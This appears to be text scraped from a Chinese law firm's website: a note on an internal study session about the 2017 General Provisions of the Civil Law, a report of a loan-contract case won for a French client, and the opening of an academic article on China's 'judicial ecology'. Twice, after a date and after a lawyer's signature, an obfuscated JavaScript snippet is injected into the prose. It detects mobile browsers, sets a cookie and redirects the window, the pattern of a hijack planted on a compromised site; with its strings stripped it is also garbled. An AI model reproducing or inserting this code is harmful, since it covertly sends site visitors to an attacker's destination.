康维律师事务所组织全所律师学习《民法总则》

2017年4月14日上午,康维所组织全所律师及律师助理对2017年颁布的《民法总则》进行了学习和研讨。康维所陈卓律师作为本次学习的主讲人,主要针对《民法总则》对现行法律的55处实质性修改与参与人员进行交流、讨论,对《民法总则》与其他民事法律的关系、诉讼时效、撤销权的修改、法定代表人等问题进行讲解。参与学习的律师及律师助理认真听取了陈卓律师的讲解,并就相关问题展开热烈讨论,提出自己的见解与大家分享,学习氛围十分浓厚。在活动过程中,大家通过不断的思想碰撞而有所收获,本次学习也取得了圆满的结果。   2017年5月3日var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

外国籍当事人M诉王某某、张某借款合同纠纷案

我所代理的法籍当事人M诉王某某、张某借款合同纠纷一案,取得成都市中级人民法院做出的胜诉判决,并已于近日执行完毕。本案的争议焦点在于M主张的借款金额中的50万元的性质是借款还是投资款。最终,成都市中院认定该笔50万元的性质为借款,并支持了我方的全部诉讼请求。本案我所的委托人为外国人,对中国的法律规定、诉讼流程等均不了解,故除案件本身的代理工作外,涉及大量向当事人解释并与其沟通的工作。故本案对经办律师的语言要求较高。我所经办律师全程以英文作为工作语言,取得了当事人的高度认可。 本案基本事实与分析如下: 一、基本事实 2006年10月9日,M与王某某签订借款协议,约定由M向王某某提供无息借款30万元人民币,借款期限为5年。 2005年3月8日,M与王某某签订了一份《中法合资“某某酒庄”合作协议书》(以下简称《合作协议》),约定50万元为M的投资款。双方于同日签订一份借款合同,约定由M向王某某提供借款60500美元,年利息为5%,借款期限为3年,并在借款合同中特别约定《合作协议》的签订目的为M帮助王某某设立外资企业。 2011年1月4日,M与王某某重新签订了一份协议,王某某在该份协议中确认自己没有归还上述50万元借款。同时,双方将借款本金重新确定为50万元人民币,该份协议并未约定还款期限,也未变更年利率。 2013年1月30日,M向王某某发出催款通知书,要求王某某在2013年2月4日前偿还全部借款及相应利息,并在2013年1月28日向人民法院提起诉讼,要求王某某及其妻张某还本付息共计人民币1001600元。 二、分析论证 本案中,M先后两次向王某某借出款项共80万元。对第二笔款项30万元为借款双方并无争议。但对第一笔款项50万元性质的认定双方产生了分歧。M认为,根据2005年签订的借款合同,该笔款项的性质应为借款,但王某某抗辩称该笔款项根据同一天签订的《合作协议》应为投资款。经办律师在本案庭审中提出,虽然双方当事人于2005年3月8日签订了《合作协议》,但双方均通过另行签署借款合同的形式,否定了该笔款项投资款的性质。同时,双方2011年1月4日重新签署协议,重新约定借款本金,这一事实进一步印证了本案所涉的50万元的性质为借款而非投资款。还应指出,M除签署过2005年3月8日的《合作协议》外,从未在与“某某酒庄”公司有关的任何文件上签字,从未参与过该公司的经营管理,也从未从该公司取得过分红,故M不是“某某酒庄”的股东。 基于上诉分析,诉讼标的50万元的性质应为借款。 一审法院采纳了我所经办律师提出的全部代理意见,依法维护了法籍当事人M的合法权益。 耿立鹏 律师var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

当代中国司法生态及其改善

四川大学法学院教授 顾培东 本文原载《法学研究》2016年第2期 内容提要:司法生态是指司法生存与运作所处的外部环境、条件及氛围;对司法生态的研究是把对司法具有直接联系的外部因素视为一种因变量,从司法与这些要素的联系中分析其对司法的实际影响。司法生态主要由政治生态、社会生态、法律职业生态三个要素构成。基于多种原因,我国司法生态在这三个方面都存在着不同程度的缺失,由此造成了现实中司法的诸多困窘。司法生态的改善必须着重解决三个基础性问题,即:主导政治力量如何切实保证司法权依法独立行使;社会应当如何正确认知和对待司法;司法自身如何恰当地体认和履践自己的政治和社会角色。而改善司法生态的最根本路径则在于建立以司法权威为核心的社会权威体系。在全面推进依法治国和深化司法改革的背景下,不仅需要提出和探索中国需要、应当有什么样的司法,同时全社会也需要真切地关注和思考中国司法需要、应当有怎样的外部生态。 关键词: 司法生态 司法权威 司法改革 一、引言 2015年的夏秋季,对人民法院而言,是不应被轻易忽略的时段。一系列以法院或法官为攻击(抨击)对象的极端性个案在这一时段中相继发生或被披露,并在“互联网+”效应下,迅速衍化成具有不同社会影响的公共事件。 这些个案的表现形态各异,但共同特征是:(1)行为人都是案件的当事人或代理人;(2)引发事件的原因都是行为人对法院裁判的不满或希图逼迫法院作出利已裁判;(3)行为人所采取的都是法律程序以外的诉求表达方式;(4)行为人都运用了自己所能够利用的资源与手段并使之极端化,如:宋城集团的演艺队伍及“舞台剧”;锋锐律师事务所周世锋等人的法庭“死磕”及其对“访民”的操纵;某高校法学教授的“学术论文”及论文中明显偏激的言辞;还有十堰法院当事人刺向四名法官的利刃。毫无疑问,这些事件并非是前所未有的特例,类似情形近些年在全国各地时有发生,但密集地发生或披露于一个较短的时段,由此在社会上所造成的震撼以及留给社会不同层面的感受依然是深刻的。 这些具体事件或许会随着时间的消逝被人们所淡忘,但蕴含于其中的问题仍然遗存。这些问题可以从不同角度提出和追问,比如:这些事件所涉及的司法行为或裁判是否公正?或者,这些事件的发生与法院、法官的司法行为或裁判不公是否相关? 法律程序是否为当事人或代理人提供了充分表达诉求与主张的手段与方式?或者,在穷尽法律程序内手段与方式后,当事人或代理人能否或怎样以非程序化方式表达其对司法行为或司法裁判的不满?在一般意义上,当事人、代理人以及其他主体质疑、批评或非议法院或法官的限度在哪里? 还有,这些事件引发法院的思考或者对法院的警示主要有哪些?仅仅是加强法院场所及法官的安保和防护,抑或强化对法官职业的保障?可以提出和追问的问题当然远不止这些。但在我看来,更具根本性、全面性,从而值得全社会各方面所共同关注与重视的问题是:当代中国司法处于怎样的生存环境之中?回归到学术层面上说,即是当代中国的司法生态问题。虽然几个极端性事件不能成为我们认知和判断当代中国司法生态的依据,但这些事件以及围绕这些事件网络上所反映出的部分网民的立场与态度,确实从一个侧面折射出当下司法生存环境的某种窘态,至少显现出司法的权威仍然不时面临着一部分人无所顾忌的挑战或藐视。因此,当下中国司法生态的改善,既有急迫的需求,也有很大的空间。 由一些极端性事件所引发的对当代中国司法生态的观测与思考,其视野必将超出这些事件本身;对相关问题的讨论也势必超越社会层面,而进一步延伸至政治层面和法律职业层面,也就是说,需要全景化地观测和分析司法生存及运行的外部要素。因此,本文更具实质性的意旨在于提供一种认识当代中国司法的一些基本问题、探讨中国特色司法制度建构与完善的不同角度与思路,在全面推进依法治国、深化司法改革的大背景下,寄望引发社会各方面在提出“中国需要、应当有什么样的司法”的同时,真切地关注和思考“中国司法需要、应当有怎样的外部环境与条件”,进而在双向思维和双向努力中逐步探索并建构出当代中国司法与外部要素相融相济、互益共存的路径与基础。 二、司法生态及其结构 “司法生态”问题目前在我国法学理论研究中尚很少涉及,更未见系统化的研究成果, 因而对这一概念并没有恰切、约定俗成的定义或阐释。相比之下,我国政治学理论对政治生态的研究早于并多于法学理论对司法生态的研究。 不仅如此,“政治生态”一词在正式的政治文献中已经广泛运用,“构建良好的政治生态”亦成为主导政治力量一种重要的政治倡导。 但即便如此,政治学理论研究中对“政治生态”的定义和阐释也不尽一致。 事实上,无论是“政治生态”抑或“司法生态”,都是引借于德国生物学家恩斯特∙海克尔在1869年提出的“生态学”概念及基本原理,揭示和分析政治或司法与其外部环境之间的关系。 因此,简单地说,司法生态就是指司法生存与运作所处的外部环境、条件及氛围;而对司法生态的理论研究就是把对司法具有直接联系的各种外部要素视为一种因变量,从司法与这些要素之间的相互关系中分析其对司法的实际影响。自然,基于共生关系原理,在这种研究中,也会涉及到司法对外部要素的影响,但重心则在前者。 作为一种社会实践或社会存在,司法与相关外部要素之间的关系自始至终都存在,但传统法治或司法理论对此并不付以太多的关注,其原因很大程度出于对司法独立原则的坚守与自信。在某些司法独立理论的意蕴中,司法是一种自闭、自洽的活动或过程,任何外部因素都不应或不能构成对司法及其运作的实际影响, 自然也不会太多地涉及司法生态问题。而上世纪20年代以来,司法生态之所以成为实践中的问题,并渐次成为法学理论中直接或间接的论题,一方面是因为现实中的司法独立并没有传统法治理论或司法理论所描述的那样纯洁,不受任何外部影响、绝对独立的司法在现实中从来都不曾出现或存在过,但更重要原因在于,自上世纪20年代起,在美国等国家中,司法所面对的现代社会关系日益复杂性,由此而产生的法与外部社会力量的互动也日益频繁并不断加剧。 从司法自身看,现代社会关系的复杂性同时也增加了社会对司法功能的复杂需求。波斯纳把现代社会关系的复杂性作为解释现代司法发展与变化的根本性原因,认为对司法“最大的挑战还是引发诉讼的哪些活动本身变得日益复杂了” 。在波斯纳看来,这种复杂性不仅强化了司法对社会生活(包括政治生活)的渗透,深化了司法对社会生活的干预,同时也对司法因应现实提出了新的要求,对司法的传统能力提出了新的挑战。达玛什卡有关司法的“政策实施功能”与“纠纷解决功能”双重承载理论 以及诺内特、塞尔兹尼克的“回应型法” 的理论,也都是建诸于这样的实践背景之上的。从司法外部看,现代社会关系的复杂性本身就意味着司法生存环境的变化,而司法对社会生活的深度介入又势必引发各种势力对司法施以种种影响,从而使司法环境越发变得复杂,司法生态问题随之而凸显。 在一般意义上研究司法生态,首先需要了解司法生态的结构。所谓司法生态的结构,是指构成司法生态的基本要素及其相互关系。概略地说,司法生态由政治生态、社会生态以及司法职业生态三个方面构成。 (一)政治生态 相对全社会而言,司法生态是政治生态的重要组成部分,但相对司法而言,政党、行政、立法以及其他政治权力关系的现实状况则成为司法的政治生态。司法与政治的关系从来都是法学理论中的重要论题, 尽管各种理论学说对此持有不同见解与主张,但都无法否认两个基本事实或基本结论:一是司法是政治的创造物,是一种政治装置。西方主流法学理论在论证司法独立的价值和意义时,常常刻意回避和掩饰政治与司法的真实关系,但终究不能回避和掩饰的是,“司法部门归根到底还是国家的一个部门” ,“审判至少是最高统治权的一部分或至少是政治的伴随物” 。特定社会中的司法只有在符合该社会政治结构的总体设计以及主导政治力量实现社会统治和社会治理的基本要求的前提下,才有其存在的价值与空间。二是司法一旦形成即具有一定的独立性,在具体的政治实践或司法实践中保持其相对中立和独立的立场与姿态,并且对政治(尤其是行政)权力的具体操作与实施具有不同程度的制约能力和制约作用,因而司法权与政治权力之间客观上存在着一定的张力和博弈。司法的这种特性与能力不仅是司法这一特定社会实践自身的客观要求,同时也是政治统治所必要的一种制度设计,是一种经验化的政治技术。由司法与政治关系的这两个方面所决定,司法的政治生态体现或决定于四个方面。 第一,司法在政治结构中的定位。在不同的政体或不同的政治制度中,司法的定位并不完全相同,不仅司法与其他政治权力关系的内容不尽相同,同时主导政治力量赋予司法的功能也会有一定的差异。正如马克斯•韦伯所指出:“包括司法制度在内的法律制度的重要差异可以从权力关系的多样性中得到解释。” 因此,司法的政治生态首先体现于司法在政治结构中的定位。相对说来,民主制国家中司法的地位通常高于集权制国家,司法对其他政治权力的制约和影响力也大于后者。美国司法的违宪审查权以及司法对于某些政治争议的最终裁决权 (在托克维尔看来,“美国的一切政治问题最终都会转化为法律问题” )即表明了这一点。 第二,政治权力对司法独立性的尊重。尽管司法独立性的原理部分地根源于政治统治的设计,但在政治问题司法化或司法案件涉及政治因素的情形下,政治权力往往具有僭越其权力边界而影响司法的本能和趋向,这就使司法的独立性常常处于政治权力侵蚀的威胁之下。因此,政治权力是否保持对司法独立性的尊重,则成为测度司法政治生态的重要依据。良好的司法生态一方面体现为政治权力尊重司法权依法独立行使,确保司法机关及司法人员在司法案件处理过程及结果上具有充分的自主性与自决能力;另一方面则体现于,恰当地限定或设定政治权力对司法权制约和监督的边界与方式,尽可能不因这种制约和监督而损伤司法权行使的独立性。 第三,司法所必要的资源的供给。无论在何种体制下,司法的人才及物质资源通常都是由政治权力机构所提供的。不仅司法员额的增减以及相应人员的任免通常决定于相关政治权力,同时,司法机构的设施、司法运作费用以及司法人员薪酬等所有物质性资源都来源于政治权力机构的供给。 由于这种供需关系并不处于绝对的恒定状态,并且政治权力在这种供需关系中处于主导地位,因此,这种资源的供给关系往往能够成为政治力量控制和影响司法的一种手段。即使在高度强调司法独立的美国,地方司法预算对涉及地方政府的案件也或多或少会产生一定的影响。 而对于司法来说,政治权力机构所提供资源的多寡和盈缩也成为其政治生态的一个重要因素。在司法角度上所提出的需求,不仅在于获得充足的人才及物质资源的供给,保证其有宽裕的运作条件,而且也不希望在这种供给中寄寓着政治权力对司法过程和结果的控制与影响。 第四,对司法权威的倡导和维护。主导政治力量对司法权威的倡导和维护对司法生态也具有决定性影响。事实表明,司法权威不会自动树立和生成,特定社会中司法权威的形成以及司法公信力的取得,一方面需要司法自身公正行为以及司法人员良好道德修为的逐步累积,另一方面,主导政治力量对司法权威的倡导和维护也是不可或缺的手段与途径。主导政治力量对司法的态度以及倡导什么样的司法观念,直接影响到全社会对司法的认识,从而对司法权威的树立以及司法公信力的形成产生重要影响。在此方面,主导政治力量除了以其自觉遵从司法决定的姿态为社会垂范外,还可通过主流意识形态向社会推崇和倡导尊重司法、服从司法决定的社会风尚,使对司法权威的认同成为普遍的社会共识和社会成员的基本生活观念。 (二)社会生态 司法的社会生态主要指社会成员对待司法,包括对待司法机关及其成员、司法行为和司法决定的基本态度以及体现这种态度的相应行为。这进一步体现在四个主要方面。 第一,对司法的认知与理解。社会成员对司法的认知与理解是司法与社会成员之间建立社会共识的重要基础。这种认知和理解的内容不仅包括有关司法的一般性知识,同时还包括对特定时期国家司法状况的认识评价。社会成员对司法的认知与理解一方面与社会成员的法律知识、参与或接触司法的经历等个体能力和经验相关,另一方面也与国家法治总体水平、社会治理的历史传统等因素密切关联。更为重要的是,一般社会成员对司法的认知与理解既依据于正式的法律制度,也依赖于在日常生活中所建立的常识、经验乃至情理的判断。因而这种认知与理解与司法的本相既有相合的一面,也有相切甚而相悖的一面。 第二,对司法的期待与要求。社会成员对司法的期待与要求是社会成员基本社会诉求及社会理想的一部分。与对司法的认知与理解相关,社会成员对司法的期待与要求也与司法所应有的功能不尽一致。这主要是因为,由于现代社会中司法被普遍赋予公平正义的属性,公平正义作为支撑司法、维系司法权威的意识形态依据,通常会顺理成章地转化为社会成员对司法的现实期待与要求,并且成为评价和判断具体司法行为的基准和理由,因此,社会成员对司法的期待与要求往往都不可避免地超越特定社会中司法的实际水平与能力。不仅如此,社会成员朴素的公平正义观与司法自身对公平正义尺度的把握又存在着一定的专业及技术性差异,因而在任何社会的任何阶段中,社会成员对司法的期待和要求与司法现实之间总会存在不同程度的落差。 第三,对司法的服从与配合。毫无疑问,社会成员对司法的服从与配合是司法社会生态的基础性要素。社会成员对司法的服从与配合不仅关系到具体司法行为的实际效果,更影响着司法权威的形成与维护,因此,对司法服从与配合的状态或程度既决定于全社会法治、尤其是守法的水平,也是全社会法治状况的基本表征。在实践层面上,这种服从和配合不仅体现于服从和配合司法机关所作出的各种决定,尤其是自觉履行各项司法裁判义务,同时又体现于在司法活动中,服从和配合司法机关及司法人员依法提出的各种要求以及作出的各种安排。 第四,对司法的尊重与支持。司法的实际运行不仅需要当事人及利害关系人的服从与配合,同时还需要社会成员广泛的尊重与支持。这种尊重和支持,一方面体现于社会公众在舆论上或在情感倾向上对司法的配合与支持,特别是在自媒体时代中,理性地表达对司法个案、具体司法行为、司法总体状况以及对司法组织及其成员评价与认识,为司法提供恰当的舆论环境;另一方面也体现于社会成员对司法机关必要的敬畏以及对司法职业特殊社会地位的认同与接受,营造和形成保持司法威严的社会氛围。 (三)法律职业生态 法律职业生态所体现的是各种非司法性法律职业与司法之间的关系,以及各司法职业相互之间的关系,更恰切地说,法律职业生态是指司法以外的其他法律职业对待司法的态度以及司法机关之间彼此为他方所提供的处境。一般说来,司法在法律职业中处于主导地位且具有相对较高的位势, 但律师、法学家以及警察等非司法性法律职业对司法及其运作同样可以产生不同程度的影响,并且各司法职业之间也交互产生影响, 这两方面共同成为司法生态的一个要素。法律职业生态首先决定于制度层面上对各法律职业职能的设置。尽管现代各国法律职业的职能逐步趋同,但受政治制度、历史传统等因素的影响,各国法律职业的具体职能并不一致, 如我国检察机关不仅具有一般检察机关的侦查控诉职能,同时还具有法律监督职能。十分显然,制度所确定的法律职业格局的不同,为司法所提供的行为空间以及宽松度是不一致的。其次,司法的法律职业生态与非司法性法律职业,如律师、法学家等职业的发展和发达状况也直接相关。这不单纯指这些职业的规模或社会影响大小以及与此相关的职业位势的高低,同时也指律师、法学家等职业发展的成熟状态,因为后者关系到司法在与这些职业的交集或相处中能否受到理性的对待。再次,或许更为重要的是,司法的法律职业生态还决定于特定国家中法律职业共同体的形成和影响。法律职业共同体既是法律人自治的一种观念形式,也是凝聚法律人共识的理性基础,法律职业共同体理念及文化能够为各种不同的法律职业提供相同的价值观念和功利追求,由此创造或生成出合理制约、消除歧见、彼此相容、荣辱与共的氛围与机制。 因此,法律职业共同体形成与否对司法职业环境具有重要影响;在一定意义上,法律职业共同体的形成状态及其相应的理念与文化,直接表征着司法的法律职业生态的状况。 在现实生活中,司法生态结构的前述三个方面相互之间都有一定影响。其中,政治生态对社会生态和法律职业生态的影响较大,由于主导政治力量对司法的态度通常能够成为社会公众认知和评价司法的参照基准和依据,因而政治生态对社会生态的形成与变化具有引导作用,同时,主导政治力量也在很大程度上能够决定各种法律职业之间关系的格局,所以,政治生态亦会使法律职业生态对其产生某种趋从性。从另一方面看,社会生态和法律职业生态对政治生态也并非毫无影响。现代国家民主政治都保持着不同程度的开放性,社会成员及相关法律职业群体对待司法的认识与态度,在政治生态的形成与变化中也会产生一定的制约或影响作用。正因为这种相互作用的存在,在一个正常的社会中,司法生态的这三个方面具有趋向上的一致性,亦即某一方面的改善或恶化,则意味着其他方面也在(也会)改善或恶化。 三、我国司法生态现状分析 总体上说,我国司法生态的基本面是积极、良好的,特别是把我国司法生态置放在同样处于法治化进程中的拉美、前苏东以及亚非一些国家司法所面临的实际境况中比较,有充分理由对我国司法生态的基本面持肯定性结论。 更为重要的是,在当下全面推进依法治国以及深化司法改革的诸多实际举措中,包含或体现着决策层改善司法生态的明确意旨与实际努力。然而,如本文前面所述,我国司法生态中所显现出的某些困窘亦是不应被漠视或避讳的;正视这种困窘及其原因,既是改善司法生态的入口与始点,同时也是正确理解决策层前述举措的必要前提。 (一)现实中司法生态的困窘 从政治生态看,司法在地方政治权力关系的具体实践中,常常处于依制度所不应有的弱势状态。主要体现在四个方面:其一,尽管“一府两院”是我国制度建构的基本内容之一,但“两院”的地位在现实中却很难达及政府所具有的境界。这使得一些司法机关在处理与其他政治权力机构的关系时,不得不放低姿态,谨小慎为,甚至如履薄冰。一个较典型的现象是:各司法机关不仅设置或安排有与人大、政协组织以人大及代表、政协委员沟通的专门机构或专门人员,而且每逢“两会”召开前夕,司法机关领导一般都会率员登门听取人大代表、政协委员对司法机关工作的意见(相较之下,政府既没有这样的机构或人员设置,通常也没有类似的举措)。形式上看,这些方式应无可厚非,但毋庸讳言的是,其间或多或少蕴含着司法机关曲意示好、谋求利已评价的动机。少数人大代表、政协委员则往往借此渠道就某些与其有利益关涉的案件向司法机关施压,从而使这种沟通和交流悖离了其应有的意义。其二,在某些与党政组织发生交集的案件的处理过程中,司法往往缺少充分的自主性和足够的话语权。如在涉及地方重大利益或在地方具有重要影响的案件处理中,相关党政组织的意见对司法仍有一定的主导性;又如在纪检委移交司法处理的案件中,纪检委的意见对司法过程和结果亦有较强势的影响。 在这些案件的处理中,司法的角色往往不像是一个主导者或自决者,而更类似于一个参与者或“意见表达者”。其三,一些基层党政组织基于地方发展或治理的要求,为司法机关分派并要求其完成司法职能以外的任务,或要求司法机关将司法职能不恰当地用于某些地方发展事务,如为某个项目或某些企业提供特别保护。对这些要求,司法机关即便不愿意,往往也难以拒绝。其四,少数党政领导干部受利益或人情等私利趋使,以批转材料、打招呼等多种方式插手干涉司法个案,甚至对案件处理结果提出明确要求。由于这些领导干部具有特殊身份,司法机关无法分辩其行为是基于工作职责而实施的组织化行为,抑或是个人行为,并且出于对各种利害关系的考虑,往往难以对之排拒或抵制。近年来,随着中央相关规定的出台和实施以及反腐力度的加大 ,此类现象已大为减少,但并未灭绝,特别是滋生这类现象的根源依然存在,从而仍然是司法生态中无法忽略的因素。 从社会生态看,司法始终处于以人脉关系为基础的情缘诱导以及以自媒体为主要手段的舆论围逼的双重影响之中。一方面,司法生存于浓密的人脉网结之中。我国是十分注重人脉关系的“熟人社会”,以亲戚、朋友、同学、同乡、同事、战友等为纽结的人脉关系深刻地影响着人们的社会生活;“找关系”、“依靠关系”办事已经固化为人们在一切社会活动中的思维定势和基本的行为方式。 存在于这样一种社会氛围的司法,也难免受到其影响。与司法人员相联系的各种人脉往往会成为影响司法过程及结果的情感甚至利益传递通道,由此对司法人员形成种种诱导,并可能使司法过程或结果出现变形或产生偏差。另一方面,司法又时常面临网络舆论的围逼。 一些网民,尤其是一些“大V”或网络推手,往往以某些特异性个案或涉及司法的极端性事件的发生为契机,将其推演为公众关注的热点,引致更多网民的围观,并引发大量网民通过自媒体而介入,从而对司法形成舆论围逼的态势。客观地说,在此类网络舆论中,并不乏理性的声音和严肃的思考,但情绪化表达却常常盖过理性的声音。特别是在热点案件涉及到基础性社会矛盾时,很多网民往往脱离对案件事实的客观分析,自觉不自觉地将案件置于诸如“官与民”、“贫与富”、“弱者与强者”等对抗性结构之中,然后依据自己所处社会境况或情感取向而偏执地表达相关评价与意见。不宁唯是,由于网络舆论通常披罩着“民意”的虚幻光环,因而这些评价与意见不仅使司法面临着有形或无形的压力,在某些情况下,还可能产生扭曲司法行为的实际后果。近些年,各司法机关都在探索恰当对待和处置网络舆论的方式与路径,并且在此方面也积累了一定的经验, 但距离从容自如地适应,尚需要一定的过程;更重要的是,这样的舆论环境,无论如何都不是司法所欲求的理想的生态。除了这两方面外,与前面所提到这些极端性事件相类似的对司法人员谩骂、恐吓、威逼甚至殴打以及围堵司法机关、暴力阻止执法等情况在各地都时有发生。 从法律职业生态看,司法与其他法律职业之间呈一定程度的间离状态,彼此缺乏必要的合作与配合精神和态度,法律共同体的意识更为淡薄。律师与司法的关系一直是近些年理论与实践中关注较多的话题,话题的重心主要是如何改善律师在司法中的处境,特别是司法机关如何保障律师的执业权利。应当承认,相比之下,在律师与司法的关系中,律师的境况更为窘迫,并且,问题的主导方确实在于司法而非律师, 但从本文语境及立意出发,律师对待司法的态度和作为也并非不值得反省和审视。姑且不论锋锐律师事务所这样极端性的个案,亦不论“死磕”现象在律师业中有进一步蔓延的迹象,律师在参与司法活动过程中主动积极配合司法机关推进诉讼流程,推动和促成矛盾纠纷化解的意识也普遍缺乏。总体上说,律师与司法之间的“合作性博弈”关系尚未全面形成,而潜在的对立情绪依然不同程度地存在,并在一定场合或条件下显现为非理性的对抗。与律师职业有所区别的是,法学人对待司法的态度则多少有些冷漠甚而轻薄。一方面,法学理论与司法实践之间长期存在着一定的隔膜,法学理论研究很难把充足的兴趣与热情用于关注司法实践中出现和存在的问题,使得司法不能得到理论资源的应有的润泽和周济; 另一方面,在面对司法及司法实践时,不少法学人则往往以“布道者”的口吻和俯视的眼光,对之作出简单化的批评,而缺少建设性、可操作性的意见与建议,从而降低了这些批评的可接受度,也减弱了司法对法学理论的信任。此外,法、检及公安之间,无论是配合抑或制约,都存在着一定的缺失,其中既有配合不畅,甚而相互掣肘的问题,亦不乏制约缺位或滥用制约权力的现象。长期以来,地方党委政法委“协调案件”的功能之所以始终无法弱化或废止,很大程度上正缘于这些现象的存在。 (二)司法生态困窘的主要原因 